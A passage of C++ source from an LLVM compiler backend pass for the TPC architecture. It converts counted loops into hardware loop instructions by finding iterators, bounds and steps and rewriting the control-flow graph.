(!L->contains(NextLayout)) {\n// return false;\n// }\n// }\n\n // The loop exit should be layouted just after the loop\n if (!Latch->isLayoutSuccessor(Exit)) {\n return false;\n }\n\n int OnlyOneExit = 0;\n for (auto B : L->getBlocks()) {\n if (L->isLoopExiting(B)) OnlyOneExit++;\n if (OnlyOneExit > 1) return false;\n }\n\n return true;\n}\n\nLoopVars* TPCHardwareLoops::calculateLoop(MachineLoop *L) {\n MachineBasicBlock *Latch = L->getLoopLatch();\n MachineBasicBlock *ExitingBlock = L->findLoopControlBlock();\n MachineBasicBlock* ExitBlock = L->getExitBlock();\n\n LLVM_DEBUG(dbgs() << \"Calculate loop\\n\");\n\n // Loops with several backedges can't be converted\n if (!Latch)\n return nullptr;\n\n // Don't generate hw loop if the loop has more than one exit.\n if (!ExitingBlock)\n return nullptr;\n\n if (!ExitBlock)\n return nullptr;\n\n if (!checkLayout(L))\n return nullptr;\n\n typedef MachineBasicBlock::reverse_instr_iterator rev_interator;\n\n MachineOperand* Pred = nullptr;\n\n rev_interator I = Latch->instr_rbegin();\n\n bool InvertCond = false;\n MachineInstr* Terminator = nullptr;\n\n for (; I != Latch->instr_rend(); ++I) {\n Terminator = &*I;\n\n if (Terminator->getOpcode() == TPC::JMPR) {\n //This is the backedge that we need. Extract predicate from it.\n Pred = &Terminator->getOperand(1);\n MachineBasicBlock* Block1 = Terminator->getOperand(0).getMBB();\n if (Terminator->getOperand(2).getImm() != 0) {\n if (L->contains(Block1))\n InvertCond = true;\n } else {\n if (!L->contains(Block1))\n InvertCond = true;\n }\n break;\n }\n }\n\n // If there's no conditional jump inside the loop, it's a precondition loop\n if (!Pred)\n return nullptr;\n\n MachineInstr* Condition = MRI->getVRegDef(Pred->getReg());\n assert(Condition && \"Multidef of a predicate in SSA form\");\n if (Condition->isCopy()) {\n Condition = MRI->getVRegDef(Condition->getOperand(1).getReg());\n }\n if (!L->contains(Condition)) {\n return nullptr;\n }\n assert(L->contains(Condition) && \"Condition for backedge is not in the loop\");\n\n LLVM_DEBUG(dbgs() << \"Found condition:\\n\");\n LLVM_DEBUG(Condition->dump());\n LLVM_DEBUG(dbgs() << \"\\n\");\n\n LoopVars* Lv = new LoopVars();\n Lv->IsPredicated = false;\n Lv->Mode = getCmpMode(Condition->getOpcode());\n\n // Sometimes predicate is calculated as AND of several conditions, not much we can do here.\n if (Lv->Mode == TPCII::LoopErr) {\n delete Lv;\n return nullptr;\n }\n if (InvertCond) Lv->Mode = invertCond(Lv->Mode);\n\n // Get iterator and boundary from CMP instruction.\n MachineOperand& Op1 = Condition->getOperand(1);\n MachineOperand& Op2 = Condition->getOperand(2);\n\n MachineOperand* Iterator;\n MachineOperand* Boundary;\n\n if (!Op1.isReg()) {\n Boundary = &Op1;\n Iterator = &Op2;\n if (Lv->Mode != TPCII::LoopNE) { // != is processed separately\n Lv->Mode = swapCond(Lv->Mode); // Boundary COND Iterator, invert this to Iterator COND Boundary\n }\n if (Op1.isFPImm()) {\n Lv->Boundary.FpVal = Op1.getFPImm()->getValueAPF().convertToFloat();\n } else {\n Lv->Boundary.ImmVal = Op1.getImm();\n }\n Lv->BoundarySel = true;\n } else if (!Op2.isReg()) {\n Boundary = &Op2;\n Iterator = &Op1;\n if (Op2.isFPImm()) {\n Lv->Boundary.FpVal = Op2.getFPImm()->getValueAPF().convertToFloat();\n } else {\n Lv->Boundary.ImmVal = Op2.getImm();\n }\n Lv->BoundarySel = true;\n } else if (Op1.isReg() && Op2.isReg()) {\n // Shared iterator between loops\n if (!MRI->getVRegDef(Op1.getReg()) || ! MRI->getVRegDef(Op2.getReg())) {\n delete Lv;\n return nullptr;\n }\n if (!L->contains(MRI->getVRegDef(Op1.getReg()))) {\n if (!L->contains(MRI->getVRegDef(Op2.getReg()))) {\n delete Lv;\n return nullptr;\n }\n Iterator = &Op2;\n Boundary = &Op1;\n if (Lv->Mode != TPCII::LoopNE) { // != is processed separately\n Lv->Mode = swapCond(Lv->Mode); // Boundary COND Iterator, invert this to Iterator COND Boundary\n }\n } else if (!L->contains(MRI->getVRegDef(Op2.getReg()))) {\n if (!L->contains(MRI->getVRegDef(Op1.getReg()))) {\n delete Lv;\n return nullptr;\n }\n Iterator = &Op1;\n Boundary = &Op2;\n } else {\n delete Lv;\n return nullptr;\n }\n\n Lv->Boundary.Reg = Boundary->getReg();\n Lv->BoundarySel = false;\n\n MachineInstr* BoundaryDef = MRI->getVRegDef(Boundary->getReg());\n if (L->contains(BoundaryDef)) {\n // TODO: If at this point loop invariants are not moved out of the loop\n // we should check wether boundary def is a real invariant and move it\n // ourselfs. If it's not possible, the loop can't be converted.\n delete Lv;\n return nullptr;\n }\n } else {\n assert(false && \"This loop should be optimized out\");\n }\n\n LLVM_DEBUG(dbgs() << \"Boundary is \");\n LLVM_DEBUG(Boundary->dump());\n LLVM_DEBUG(dbgs() << \"\\n\");\n\n // Search for the iterator increment. I think it should be in the latch block.\n // But maybe not.\n MachineInstr* IteratorStep = MRI->getVRegDef(Iterator->getReg());\n LLVM_DEBUG(dbgs() << \"Processing iterator:\\n\");\n LLVM_DEBUG(IteratorStep->dump());\n LLVM_DEBUG(dbgs() << \"\\n\");\n\n if (!appropriateInst(IteratorStep->getOpcode())) {\n delete Lv;\n LLVM_DEBUG(dbgs() << \"No approptiate increment\\n\");\n return nullptr;\n }\n\n assert(L->contains(IteratorStep) && \"Iterator increment is not in the loop\");\n\n // TODO: Below I assume that step is the second operand and iterator is the first one.\n // This is not necessary true.\n // Find the step\n MachineOperand& Step = IteratorStep->getOperand(2);\n MachineOperand& StartPhi = IteratorStep->getOperand(1);\n if (Step.isReg()) {\n MachineInstr* StepDef = MRI->getVRegDef(Step.getReg());\n\n if (L->contains(StepDef)) {\n // TODO: again, there should be no definitions of step in the loop\n delete Lv;\n return nullptr;\n }\n Lv->Step.Reg = Step.getReg();\n Lv->StepSel = false;\n } else {\n // Step is immediate, nothing to do except write it down\n if (Step.isFPImm()) {\n Lv->Step.FpVal = Step.getFPImm()->getValueAPF().convertToFloat();\n } else {\n Lv->Step.ImmVal = Step.getImm();\n }\n Lv->StepSel = true;\n }\n\n LLVM_DEBUG(dbgs() << \"Step is \");\n LLVM_DEBUG(Step.dump());\n LLVM_DEBUG(dbgs() << \"\\n\");\n\n // Find the start\n assert(StartPhi.isReg() && \"Iterator can't be a constant\");\n MachineInstr* Phi = MRI->getVRegDef(StartPhi.getReg());\n\n // More complex increment. Try to make it into hardware loop anyway\n // by finding a chain of adds with constant increments\n if (!Phi->isPHI()) {\n if (!Lv->StepSel) {\n delete Lv;\n return nullptr;\n }\n\n while(!Phi->isPHI()) {\n if (!TPCII::isAdd(Phi->getDesc())) {\n delete Lv;\n return nullptr;\n }\n\n if (Phi->getOperand(2).isImm()) {\n Lv->Step.ImmVal += Phi->getOperand(2).getImm();\n Phi = MRI->getVRegDef(Phi->getOperand(1).getReg());\n } else if (Phi->getOperand(1).isImm()) {\n Lv->Step.ImmVal += Phi->getOperand(1).getImm();\n Phi = MRI->getVRegDef(Phi->getOperand(2).getReg());\n } else {\n delete Lv;\n return nullptr;\n }\n }\n }\n\n assert(Phi->isPHI() && \"Iterator should be a phi node\");\n assert(L->contains(Phi) && \"Phi node for iterator should be inside the loop\");\n\n bool IVinPhi = false;\n for (MachineOperand& MUse : Phi->uses()) {\n if (MUse.isIdenticalTo(*Iterator)) {\n IVinPhi = true;\n break;\n }\n }\n\n // Some sort of double inductive variable. We can't link iterator increment\n // with initial increment value through a phi node.\n // TODO: it still may be possible to form hw loop, just more clever\n // analysis is required\n if (!IVinPhi) {\n delete Lv;\n return nullptr;\n }\n\n LLVM_DEBUG(dbgs() << \"Phi node:\\n\");\n LLVM_DEBUG(Phi->dump());\n LLVM_DEBUG(dbgs() << \"\\n\");\n\n MachineOperand PhiOp1 = Phi->getOperand(1);\n MachineOperand PhiOp2 = Phi->getOperand(3);\n\n MachineBasicBlock* PhiBlock1 = Phi->getOperand(2).getMBB();\n\n MachineOperand Start = L->contains(PhiBlock1) ? PhiOp2 : PhiOp1;\n\n if (Start.isReg()) {\n MachineInstr* StartDef = MRI->getVRegDef(Start.getReg());\n if (StartDef->getOpcode() == TPC::MOVsip && !TII->isPredicated(*StartDef)) {\n // TODO: it would be good to remove the mov if it's not used.\n // But that leaves the vreg without any usage. LLVM crashes because of that.\n // I didn't find a way to delete a vreg yet. It looks like DCE and other\n // passes that delete instructions operate on the higher level IR,\n // not on this representation.\n// bool MultiUse = false;\n// for (MachineInstr& StartUser : MRI->use_nodbg_instructions(Start.getReg())) {\n// if (&StartUser != Phi) {\n// MultiUse = true;\n// break;\n// }\n// }\n\n// if (!MultiUse) {\n// StartDef->removeFromParent();\n// }\n Start = StartDef->getOperand(1);\n }\n }\n\n\n if (Start.isReg()) {\n MachineInstr* StartDef = MRI->getVRegDef(Start.getReg());\n (void) StartDef;\n assert(L->contains(StartDef) == false &&\n \"Both inputs for phi are inside the loop, that's ridiculous\");\n // Start is a register, write it down as such\n Lv->Start.Reg = Start.getReg();\n Lv->StartSel = false;\n } else {\n // Start is an immidiate, write it down as such\n if (Start.isFPImm()) {\n Lv->Start.FpVal = Start.getFPImm()->getValueAPF().convertToFloat();\n } else {\n Lv->Start.ImmVal = Start.getImm();\n }\n Lv->StartSel = true;\n }\n\n // Try to get rid of != condition, it's to specific and prevents futher optimizations\n if (Lv->Mode == TPCII::LoopNE) {\n if (Lv->StepSel) {\n int StepImm = Lv->Step.ImmVal;\n if (StepImm > 0) Lv->Mode = TPCII::LoopLT;\n else Lv->Mode = TPCII::LoopGT;\n }\n }\n\n LLVM_DEBUG(dbgs() << \"Start is \");\n LLVM_DEBUG(Start.dump());\n LLVM_DEBUG(dbgs() << \"\\n\");\n\n LLVM_DEBUG(dbgs() << \"Return LV\\n\");\n\n // Now that we're definetely going to convert this loop, remove all useless instructions\n bool ConditionReuse = false;\n LLVM_DEBUG(dbgs() << \"Trying to remove \"); LLVM_DEBUG(Condition->dump(););\n LLVM_DEBUG(Terminator->dump());\n int num_uses = 0;\n for (MachineInstr &UseMI : MRI->use_instructions(Condition->getOperand(0).getReg())) {\n (void) UseMI;\n LLVM_DEBUG(dbgs() << \"UseMI: \");\n LLVM_DEBUG(UseMI.dump());\n ++num_uses;\n if (num_uses > 1) {\n ConditionReuse = true;\n }\n }\n if (!ConditionReuse) {\n LLVM_DEBUG(dbgs() << \"Removing \"); LLVM_DEBUG(Condition->dump(););\n Condition->removeFromParent();\n }\n\n bool IteratorReuse = false;\n for (MachineInstr &UseMI : MRI->use_instructions(Iterator->getReg())) {\n if ((L->contains(&UseMI) && !UseMI.isPHI())) {\n IteratorReuse = true;\n break;\n }\n }\n\n if (!IteratorReuse) {\n LLVM_DEBUG(dbgs() << \"Removing \"); LLVM_DEBUG(IteratorStep->dump(););\n IteratorStep->removeFromParent();\n }\n Phi->removeFromParent();\n\n // Replace all occurances of iterator with an SRF register\n LoopStats* Stats = new LoopStats(StartPhi.getReg(), Iterator->getReg(), L);\n if (Lv->StepSel) {\n Stats->ImmStep = true;\n Stats->Step.ImmVal = Lv->Step.ImmVal;\n } else {\n Stats->Step.Reg = Lv->Step.Reg;\n }\n\n LoopOrder[L] = Stats;\n LLVM_DEBUG(dbgs() << \"Push phi and iterator:\\n \");\n LLVM_DEBUG(StartPhi.dump());\n LLVM_DEBUG(Iterator->dump());\n\n return Lv;\n}\n\nvoid TPCHardwareLoops::setCounters(MachineLoop* L, int& Layer) {\n if (LoopOrder.count(L) > 0) {\n ++Layer;\n LoopOrder[L]->CounterReg = TPC::S32 + Layer;\n RegToLoop[TPC::S32 + Layer].push_back(LoopOrder[L]);\n }\n\n for (MachineLoop::iterator I = L->begin(), E = L->end(); I != E; ++I) {\n setCounters(*I, Layer);\n }\n\n if (LoopOrder.count(L) > 0) {\n --Layer;\n }\n}\n\nbool TPCHardwareLoops::runOnMachineFunction(MachineFunction &MF) {\n if(!EnableTPCHardwareLoops)\n return false;\n LLVM_DEBUG(dbgs() << \"********* TPC Hardware Loops *********\\n\");\n LLVM_DEBUG(MF.dump());\n bool Changed = false;\n\n MLI = &getAnalysis<MachineLoopInfo>();\n MRI = &MF.getRegInfo();\n MDT = &getAnalysis<MachineDominatorTree>();\n TII = MF.getSubtarget<TPCSubtarget>().getInstrInfo();\n\n for (auto &L : *MLI) {\n if (!L->getParentLoop()) {\n int Layer = 0;\n Changed |= convertToHardwareLoop(L, Layer);\n }\n }\n\n // Now set all counter registers\n for (auto &L : *MLI) {\n if (!L->getParentLoop()) {\n int Layer = -1;\n setCounters(L, Layer);\n }\n }\n\n // Replace iterators with special registers.\n for (auto const& MapEntry: LoopOrder) {\n LoopStats* Stats = MapEntry.second;\n\n if (!MRI->getVRegDef(Stats->Iter)) {\n MRI->replaceRegWith(Stats->Iter, Stats->CounterReg);\n }\n MRI->replaceRegWith(Stats->Phi, Stats->CounterReg);\n }\n\n // Fix any phi-node and tied registers that we broke\n for (MachineFunction::iterator I = MF.begin(), E = MF.end(); I != E; ++I) {\n MachineBasicBlock* Block = &*I;\n for (MachineInstr& MI : Block->instrs()) {\n\n if (MI.isPHI()) {\n int Idx = 1;\n for (MachineOperand& MO : MI.uses()) {\n if (MO.isReg() && MO.getReg().isPhysical()) {\n MachineBasicBlock* Origin = MI.getOperand(Idx + 1).getMBB();\n\n MachineBasicBlock::iterator InsertPos = Origin->end();\n MachineBasicBlock::iterator LastInst = --(Origin->end());\n while(InsertPos != Origin->begin() && (*LastInst).isTerminator()) {\n --InsertPos;\n --LastInst;\n }\n auto LSVector = RegToLoop[MO.getReg()];\n bool PhiFromLoop = false;\n LoopStats* MatchedLoop = nullptr;\n for (LoopStats* LS : LSVector) {\n if (LS->L->contains(Origin)) {\n PhiFromLoop = true;\n MatchedLoop = LS;\n break;\n }\n }\n unsigned SafeReg = MRI->createVirtualRegister(MF.getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n if (PhiFromLoop && !MatchedLoop->L->contains(&MI)) {\n if (MatchedLoop->ImmStep) {\n BuildMI(*Origin, InsertPos, DebugLoc(), TII->get(TPC::ADDsip), SafeReg)\n .addReg(MO.getReg())\n .addImm(MatchedLoop->Step.ImmVal)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(MO.getReg(), RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n } else {\n BuildMI(*Origin, InsertPos, DebugLoc(), TII->get(TPC::ADDssp), SafeReg)\n .addReg(MO.getReg())\n .addReg(MatchedLoop->Step.Reg)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(MO.getReg(), RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n }\n } else {\n BuildMI(*Origin, InsertPos, DebugLoc(), TII->get(TargetOpcode::COPY), SafeReg).addReg(MO.getReg());\n }\n MO.setReg(SafeReg);\n }\n ++Idx;\n }\n } else {\n for (MachineOperand& MO: MI.uses()) {\n if (MO.isReg() && MO.isTied() && MO.getReg().isPhysical()) {\n unsigned SafeReg = MRI->createVirtualRegister(MF.getSubtarget().getTargetLowering()->getRegClassFor(MVT::i32));\n MachineBasicBlock::iterator InsertPos(MI);\n BuildMI(*MI.getParent(), InsertPos, DebugLoc(), TII->get(TargetOpcode::COPY), SafeReg).addReg(MO.getReg());\n MO.setReg(SafeReg);\n LLVM_DEBUG(dbgs() << \"Doing something with tied operands \");\n LLVM_DEBUG(MI.dump());\n }\n }\n }\n }\n }\n\n\n LLVM_DEBUG(dbgs() << \"After convertation\\n\");\n LLVM_DEBUG(MF.dump());\n\n for (auto const &MapEntry : RegToLoop) {\n for(LoopStats* LS : MapEntry.second) {\n delete LS;\n }\n }\n\n return Changed;\n}\n\nbool TPCHardwareLoops::convertToHardwareLoop(MachineLoop *L,\n int &Layer) {\n LLVM_DEBUG(dbgs() << \"Convert loop\\n\");\n LLVM_DEBUG(L->dump());\n\n // This is just for sanity.\n assert(L->getHeader() && \"Loop without a header?\");\n\n bool Changed = false;\n\n // Process nested loops first.\n int MaxLayer = Layer;\n for (MachineLoop::iterator I = L->begin(), E = L->end(); I != E; ++I) {\n int TempLayer = Layer;\n Changed |= convertToHardwareLoop(*I, TempLayer);\n if (TempLayer > MaxLayer) {\n MaxLayer = TempLayer;\n }\n }\n Layer = MaxLayer;\n\n // Only 4 innermost loops can be transformed.\n if (Layer >= 4)\n return Changed;\n\n LoopVars* Lv = calculateLoop(L);\n if (!Lv) {\n return false;\n }\n\n MachineBasicBlock *Header = L->getHeader();\n MachineBasicBlock *Latch = L->getLoopLatch();\n\n MDNode* LoopMD = Latch->getBasicBlock()->getTerminator()->getMetadata(LLVMContext::MD_loop);\n Lv->IsTaken = false;\n\n if (LoopMD) {\n MDNode *MD = nullptr;\n\n for (unsigned i = 1, e = LoopMD->getNumOperands(); i < e; ++i) {\n MD = dyn_cast<MDNode>(LoopMD->getOperand(i));\n if (!MD)\n continue;\n\n MDString *S = dyn_cast<MDString>(MD->getOperand(0));\n if (!S)\n continue;\n\n if (S->getString().equals(\"llvm.loop.taken\")) {\n assert(MD->getNumOperands() == 2 &&\n \"Taken hint metadata should have two operands.\");\n Lv->IsTaken =\n !(mdconst::extract<ConstantInt>(MD->getOperand(1))->isZero());\n }\n }\n }\n\n\n LLVM_DEBUG(Lv->dump());\n\n typedef MachineBasicBlock::reverse_instr_iterator rev_interator;\n rev_interator I = Latch->instr_rbegin();\n MachineInstr *Terminator = &*I;\n\n // Remove terminators\n if (Terminator->getOpcode() == TPC::JMPR_u) {\n Latch->remove(Terminator);\n\n I = Latch->instr_rbegin();\n Terminator = &*I;\n\n assert((Terminator->getOpcode() == TPC::JMPR) &&\n \"Regular loop should end with a conditional branch\");\n\n Latch->remove(Terminator);\n } else {\n assert((Terminator->getOpcode() == TPC::JMPR) &&\n \"Regular loop should end with a conditional branch\");\n\n Latch->remove(Terminator);\n }\n\n MachineBasicBlock::iterator InsertPos;\n MachineBasicBlock* LoopBlock = nullptr;\n\n MachineBasicBlock* Preheader = nullptr;\n typedef std::vector<MachineBasicBlock*> MBBVector;\n MBBVector Preds(Header->pred_begin(), Header->pred_end());\n\n for (MBBVector::iterator I = Preds.begin(), E = Preds.end(); I != E; ++I) {\n MachineBasicBlock *PB = *I;\n if (PB != Latch) {\n Preheader = PB;\n }\n }\n assert(Preheader && \"Unreachable loop\");\n \n MachineBasicBlock* NewPreheader = stripEntranceCheck(Preheader, Header, L->getExitBlock(), Lv);\n if (NewPreheader) {\n InsertPos = NewPreheader->end();\n LoopBlock = NewPreheader;\n } else if (Preheader->succ_size() == 1) {\n InsertPos = Preheader->end();\n LoopBlock = Preheader;\n } else {\n MachineFunction* MF = Header->getParent();\n MachineBasicBlock* Prolog = MF->CreateMachineBasicBlock();\n MF->insert(Header->getIterator(), Prolog);\n\n // Insert loop pre-header for the prolog and rewire CFG.\n for (MBBVector::iterator I = Preds.begin(), E = Preds.end(); I != E; ++I) {\n MachineBasicBlock *PB = *I;\n if (PB != Latch) {\n //Patch Phis\n for (MachineInstr& MI : Header->instrs()) {\n if (MI.isPHI()) {\n for (MachineOperand& MO: MI.uses()) {\n if (MO.isMBB() && MO.getMBB() == PB) {\n MO.setMBB(Prolog);\n }\n }\n }\n }\n\n PB->ReplaceUsesOfBlockWith(Header, Prolog);\n }\n }\n\n Prolog->addSuccessor(Header, BranchProbability::getOne());\n MachineLoop *ParentLoop = L->getParentLoop();\n if (ParentLoop && !MLI->getLoopFor(Prolog)) {\n ParentLoop->addBasicBlockToLoop(Prolog, MLI->getBase());\n }\n\n InsertPos = Prolog->end();\n LoopBlock = Prolog;\n }\n\n //DebugLoc DL = Prolog->begin()->getDebugLoc();\n\n unsigned LOOP_opc = chooseLoopOpcode(Lv);\n const MachineInstrBuilder& MIB = BuildMI(*LoopBlock, InsertPos, DebugLoc(), TII->get(LOOP_opc));\n\n if (Lv->StartSel) {\n MIB.addImm(Lv->Start.ImmVal);\n } else {\n MIB.addReg(Lv->Start.Reg);\n }\n\n if (Lv->BoundarySel) {\n MIB.addImm(Lv->Boundary.ImmVal);\n } else {\n MIB.addReg(Lv->Boundary.Reg);\n }\n\n if (Lv->StepSel) {\n MIB.addImm(Lv->Step.ImmVal);\n } else {\n MIB.addReg(Lv->Step.Reg);\n }\n\n MIB.addImm(Lv->Mode);\n MachineBasicBlock* Block = L->getExitBlock();\n assert(Block);\n MIB.addMBB(Block);\n Block->setHasAddressTaken();\n\n if (Lv->IsPredicated) {\n MIB.addReg(Lv->PredReg);\n MIB.addImm(Lv->Polarity);\n }\n InsertPos = Latch->end();\n //DL = InsertPos->getDebugLoc();\n const MachineInstrBuilder& MEndLoop = BuildMI(*Latch, InsertPos, DebugLoc(), TII->get(TPC::LOOPEND));\n MEndLoop.addMBB(Block);\n MEndLoop.addMBB(Header);\n// Below issue is done for G-1819\n// it is temporaly hidden due to new exposed problem G-1926\n #if 0 \n // need for unhardware to add upper,step\n if (!Lv->BoundarySel) {\n MEndLoop.addReg(Lv->Boundary.Reg, RegState::Implicit);\n }\n \n if (!Lv->StepSel) {\n MEndLoop.addReg(Lv->Step.Reg, RegState::Implicit);\n } \n#endif\n if (LoopMD) {\n MEndLoop.addMetadata(LoopMD);\n }\n \n ++Layer;\n delete Lv;\n return true;\n}\n\nbool TPCHardwareLoops::predicateLoop(MachineBasicBlock* Preheader, MachineBasicBlock* Exit, MachineBasicBlock* PredTarget, LoopVars* Lv) {\n MachineInstr *Terminator = &(*(--Preheader->end()));\n\n if (Terminator->getOpcode() == TPC::JMPR) {\n if (Terminator->getOperand(0).getMBB() != Exit) {\n return false;\n }\n Lv->PredReg = Terminator->getOperand(1).getReg();\n Lv->Polarity = !Terminator->getOperand(2).getImm();\n Lv->IsPredicated = true;\n }\n // There's a preheader block that's not part of the loop, but under jump guard, make every instruction there predicated\n// if (PredTarget != nullptr) {\n// for (MachineInstr& MI : PredTarget->instrs()) {\n// unsigned PredPos = MI.getNumOperands() - 2; // All instructions except pseudos have predicate at the penultimate position\n// if(MI.getNumOperands() > 3) { // pred_link, pred, polarity\n// MI.getOperand(PredPos).setReg(Terminator->getOperand(1).getReg());\n// }\n// }\n// }\n Terminator->removeFromParent();\n return true;\n}\n\n// Attempts to remove conditions and jumps that guard a post-condition loop\nMachineBasicBlock* TPCHardwareLoops::stripEntranceCheck(MachineBasicBlock* Preheader, MachineBasicBlock* Header, MachineBasicBlock* Exit, LoopVars* Lv) {\n bool ShouldMerge = false;\n bool Predicated = false;\n\n MachineBasicBlock* LoopEntrance = Header;\n MachineBasicBlock* PredTarget = nullptr;\n if (Preheader->empty()) {\n // TODO: guarding condition is in another block. We should attempt to find it anyway.\n // This single if might not be enough\n if (Preheader->pred_size() == 1) {\n LoopEntrance = Preheader;\n Preheader = *(Preheader->predecessors().begin());\n ShouldMerge = true;\n } else {\n return nullptr;\n }\n }\n\n MachineInstr *Terminator = &(*(--Preheader->end()));\n // Guarding jump may be in predecessor of preheader if preheader has some code hoisted to it\n if (Terminator->getOpcode() != TPC::JMPR) {\n // We remove jumps around loop only if there's loop_taken pragma meaning that\n // the loop is executed at least once. We can do the optimization for any loop\n // but that requires altering instructions:\n // In one scenario guarding jump falls through right into the loop body and LOOP\n // instruction will perform the check. In the other scenario there's some\n // preparation code bedore loop body that is not a part of the loop and guarding\n // jump falls through to that. If we remove jump and the loop is never executed\n // we also should not execute that prolog. In order to do this we have to\n // predicate everything in the prolog. There're two problems with that:\n // 1. Load and Store slot are currently can't share predicates and will not\n // be bundled together\n // 2. We can't predicate pseudo instructions and delay-predicate phi nodes.\n // This problem causes some tests to fail because when later phi-nodes\n // are eliminated resulted MOVs should be predicated but LLVM can't do that.\n // As a result some values are overwritten.\n if (!Lv->IsTaken) {\n return nullptr;\n }\n\n // Preheader must be just a connector block to a loop body\n if (Preheader->succ_size() == 1 && Preheader->pred_size() == 1) {\n LoopEntrance = Preheader;\n PredTarget = Preheader;\n Preheader = *(Preheader->predecessors().begin());\n Terminator = &(*(--Preheader->end()));\n ShouldMerge = true;\n }\n }\n\n // TODO: there are some weird layouts where preheader jumps to the successor of the exit\n if (!Preheader->isSuccessor(Exit)) {\n return nullptr;\n }\n\n if (Terminator->getOpcode() == TPC::JMPR) {\n MachineInstr* Condition = MRI->getVRegDef(Terminator->getOperand(1).getReg());\n if (Condition->isCopy() || Condition->getOpcode() == TPC::MOVpsp) {\n // Try looking further\n // TODO: What if it's still not a cmp\n Condition = MRI->getVRegDef(Condition->getOperand(1).getReg());\n }\n\n //LLVM_DEBUG(dbgs() << \"Condition: \"; Condition->dump());\n LLVM_DEBUG(dbgs() << \"Terminator: \"; Terminator->dump());\n LLVM_DEBUG(Preheader->getParent()->dump());\n\n MachineOperand& Op1 = Condition->getOperand(1);\n MachineOperand& Op2 = Condition->getOperand(2);\n\n // Check that preheader actually jumps to the exit\n typedef std::vector<MachineBasicBlock*> MBBVector;\n MBBVector Succs(Preheader->succ_begin(), Preheader->succ_end());\n\n if (Succs.size() != 2) {\n return nullptr;\n }\n\n if (Succs[0] == LoopEntrance) {\n if (Succs[1] != Exit) {\n return nullptr;\n }\n } else if (Succs[0] == Exit) {\n if (Succs[1] != LoopEntrance) {\n return nullptr;\n }\n } else {\n //assert(false && \"One of the successors of the preheader must be the header\");\n }\n LLVM_DEBUG(dbgs() << \"Checked CFG\\n\");\n\n // Check that cmp instruction involves both start and boundary of the loop\n if (!RemoveJumps) {\n LLVM_DEBUG(dbgs() << \"Op1 \"; Op1.dump());\n LLVM_DEBUG(dbgs() << \"Op2 \"; Op2.dump());\n if (Lv->isStart(Op1)) {\n if (!Lv->isBoundary(Op2)) {\n if (predicateLoop(Preheader, Exit, PredTarget, Lv)) {\n Predicated = true;\n } else {\n return nullptr;\n }\n }\n } else if (Lv->isBoundary(Op1)) {\n if (!Lv->isStart(Op2)) {\n if (predicateLoop(Preheader, Exit, PredTarget, Lv)) {\n Predicated = true;\n } else {\n return nullptr;\n }\n }\n } else {\n if (predicateLoop(Preheader, Exit, PredTarget, Lv)) {\n Predicated = true;\n } else {\n return nullptr;\n }\n }\n }\n } else {\n return nullptr;\n }\n\n if (!Predicated) {\n LLVM_DEBUG(dbgs() << \"Checked operands\\n\");\n // If we are here, we can safely eliminate jump and merge blocks\n MachineInstr* Condition = MRI->getVRegDef(Terminator->getOperand(1).getReg());\n bool ConditionReuse = false;\n LLVM_DEBUG(dbgs() << \"Trying to remove \"); LLVM_DEBUG(Condition->dump(););\n LLVM_DEBUG(Terminator->dump());\n\n int num_uses = 0;\n for (MachineInstr &UseMI : MRI->use_instructions(Condition->getOperand(0).getReg())) {\n (void) UseMI;\n LLVM_DEBUG(dbgs() << \"UseMI: \");\n LLVM_DEBUG(UseMI.dump());\n ++num_uses;\n if (num_uses > 1) {\n ConditionReuse = true;\n }\n }\n if (!ConditionReuse) {\n LLVM_DEBUG(dbgs() << \"Removing \"); LLVM_DEBUG(Condition->dump(););\n Condition->removeFromParent();\n }\n Terminator->removeFromParent();\n }\n\n if (ShouldMerge) {\n assert((LoopEntrance->empty() || !(*LoopEntrance->begin()).isPHI()) && \"Connector block can't have phis\");\n MachineBasicBlock* LoopBody = *LoopEntrance->succ_begin();\n Preheader->splice(Preheader->end(), LoopEntrance, LoopEntrance->begin(), LoopEntrance->end());\n Preheader->removeSuccessor(LoopEntrance);\n Preheader->removeSuccessor(Exit);\n Preheader->addSuccessor(*LoopEntrance->succ_begin());\n LoopEntrance->removeSuccessor(LoopEntrance->succ_begin());\n\n for (MachineInstr& MI : LoopBody->instrs()) {\n if (!MI.isPHI()) {\n break;\n }\n\n for (MachineOperand& MO : MI.uses()) {\n if (MO.isMBB() && MO.getMBB() == LoopEntrance) {\n MO.setMBB(Preheader);\n }\n }\n }\n\n LoopEntrance->eraseFromParent();\n\n // Fix phis because loop is always taken, can't get to exit from Preheader\n auto InsertPos = Exit->begin();\n while(InsertPos != Exit->end() && (*InsertPos).isPHI()) ++InsertPos;\n\n SmallVector<MachineInstr*, 4> Removal;\n for (MachineInstr& MI : *Exit) {\n if (!MI.isPHI()) {\n break;\n }\n\n bool Processed = true;\n\n // We can add phi-nodes inside this loop. Need to check whether this is\n // new or old phi. This is bad, but I don't know a better solution.\n for (unsigned i = 1; i < MI.getNumOperands(); ++i) {\n if (MI.getOperand(i).isMBB() && MI.getOperand(i).getMBB() == Preheader) {\n Processed = false;\n break;\n }\n }\n\n if (Processed) {\n continue;\n }\n\n // 2-way merge, replace phi with copy\n if (MI.getNumOperands() == 5) {\n unsigned UseReg = 0;\n unsigned DefReg = MI.getOperand(0).getReg();\n if (MI.getOperand(2).getMBB() == Preheader) {\n UseReg = MI.getOperand(3).getReg();\n } else {\n UseReg = MI.getOperand(1).getReg();\n }\n Removal.push_back(&MI);\n BuildMI(*Exit, InsertPos, DebugLoc(), TII->get(TargetOpcode::COPY), DefReg)\n .addReg(UseReg);\n } else { // Exit has some other predecessors, remove Preheader case from phi\n unsigned DefReg = MI.getOperand(0).getReg();\n for (unsigned i = 1; i < MI.getNumOperands(); ++i) {\n if (MI.getOperand(i).isMBB() && MI.getOperand(i).getMBB() == Preheader) {\n MachineInstrBuilder BMI = BuildMI(*Exit, InsertPos, DebugLoc(), TII->get(TargetOpcode::PHI), DefReg);\n for (unsigned j = 1; j < MI.getNumOperands(); ++j) {\n if (j == i - 1) {\n ++j;\n continue;\n }\n BMI.addReg(MI.getOperand(j++).getReg());\n BMI.addMBB(MI.getOperand(j).getMBB());\n }\n Removal.push_back(&MI);\n break;\n }\n }\n }\n }\n\n for (MachineInstr* MI : Removal) {\n MI->removeFromParent();\n }\n\n }\n\n return Preheader;\n}\n\nchar TPCHardwareLoops::ID = 0;\n\nTPCII::CmpMode 